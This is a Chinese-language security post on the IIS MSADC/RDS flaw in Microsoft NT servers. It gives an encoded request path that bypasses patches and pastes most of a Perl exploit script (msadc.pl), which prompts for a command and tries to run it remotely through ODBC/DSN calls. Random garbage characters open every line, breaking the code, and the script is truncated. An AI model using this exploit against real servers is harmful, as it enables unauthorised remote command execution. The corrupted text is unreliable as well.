IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?d>P+). P/C+L[X= 涉及程序:
&*>CPO Microsoft NT server
!yV,|)y5F *x*,I,03 描述:
V#-qKV 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
O$<%z[ !ho5VAt 详细:
3gPD(r1g 如果你没有时间读详细内容的话,就删除:
oqd
N5+xt c:\Program Files\Common Files\System\Msadc\msadcs.dll
%X0NHta~@ 有关的安全问题就没有了。
]@ Sc} <.A C=4@V 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
T je o*n^ [U3D`V$xD 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Q~b M 关于利用ODBC远程漏洞的描述,请参看:
tz0Ttu=xH O%fp;Y{` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TsFdy{/o* ?5r2j3mqgv 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
guU r1Ij http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~J. Fl[ "z#?OV5 这里不再论述。
}{kTh%^ |U#w?eE= 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
fa+W9 bWQORjnd8 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$ )TF,-#x 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Kt4\&l-De yhkQFB%gv VM\Z<}C #将下面这段保存为txt文件,然后: "perl -x 文件名"
[K)1!KK,L c~L6fvS #!perl
-t~B@% #
4_m
/_Z0x # MSADC/RDS 'usage' (aka exploit) script
LA=>g/+i.X #
|B{$URu # by rain.forest.puppy
,~j$rs`Z #
Nh\8+v*+{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#Z=)= # beta test and find errors!
:oj)
eS[Y wx"6",M use Socket; use Getopt::Std;
PRk%C0` getopts("e:vd:h:XR", \%args);
Ni@e/|
2b AINFua4 A print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
MMA@J im?XXsH' if (!defined $args{h} && !defined $args{R}) {
0rm;)[SjF print qq~
|phWK^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
kN9sug^ -h <host> = host you want to scan (ip or domain)
s-N?Tzi -d <seconds> = delay between calls, default 1 second
^n45N&916 -X = dump Index Server path table, if available
*r?51*J -v = verbose
pTX'5 -e = external dictionary file for step 5
Ae_ E;[mj /L|}Y242 Or a -R will resume a command session
e>zk3\D! zHs ~; exit;}
~Ro:mH:w 4^NHf|UJH $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
TnU$L3k if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{kRC!} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
W7[S7kd if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
y0&HXX#\
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&N7:k+E if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^R'!\m|FR F.
oP!r if (!defined $args{R}){ $ret = &has_msadc;
0^lL,rC
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S,tVOxs^ E)_!Hi0<s print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4b(irDT3F . "cmd /c ";
H6JMN1#t$ $in=<STDIN>; chomp $in;
UlN|Oy, $command="cmd /c " . $in ;
v|RaB =i5:*J if (defined $args{R}) {&load; exit;}
75}u
D g~H?l3v print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
GK+\-U)v &try_btcustmr;
QRHm|f9_C 8'xnhV print "\nStep 2: Trying to make our own DSN...";
PZhZK
VZx &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
UO!6&k>c q
vVZA* print "\nStep 3: Trying known DSNs...";
U1|4vd9 &known_dsn;
K ':pU1 x15tQb+ print "\nStep 4: Trying known .mdbs...";
_r5Ild@n &known_mdb;
RH4n0=2 c_q y)N if (defined $args{e}){
!cq|g print "\nStep 5: Trying dictionary of DSN names...";
#Ii.tTk &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
VdOd:w m.a1 print "Sorry Charley...maybe next time?\n";
EF=D}"E6pO exit;
~S>ba'] /aa;M*Qp ##############################################################################
5XUI7Q% >T^v4A sub sendraw { # ripped and modded from whisker
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